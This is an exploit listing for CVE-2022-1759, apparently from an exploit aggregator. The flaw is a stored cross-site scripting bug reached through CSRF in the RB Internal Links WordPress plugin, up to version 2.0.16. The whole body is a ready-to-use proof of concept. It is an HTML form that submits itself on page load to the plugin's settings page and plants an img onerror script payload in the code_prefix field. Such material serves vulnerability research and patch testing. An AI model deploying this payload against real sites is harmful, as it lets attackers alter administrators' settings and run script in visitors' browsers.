Exploit for RB Internal Links <= 2.0.16 - Stored Cross-Site Scripting via CSRF CVE-2022-1759

## https://sploitus.com/exploit?id=WPEX-ID:D8E63F78-F38A-4F68-96BA-8059D175CEA8
<form id="test" action="https://example.com/wp-admin/options-general.php?page=rb-internal-links" method="POST">
    <input type="text" name="rbinternal_submit" value="1">
    <input type="text" name="tinymce" value="0">
    <input type="text" name="tinymce" value="1">
    <input type="text" name="return_param" value="id">
    <input type="text" name="default_text" value="url">
    <input type="text" name="code_prefix" value='"><img src=x onerror=alert(/XSS/)>'>
    <input type="text" name="code_suffix" value="bbb">
    <input type="text" name="page_order" value="post_title">
    <input type="text" name="Submit" value="Änderungen speichern">
</form>
<script>
    document.getElementById("test").submit();
</script>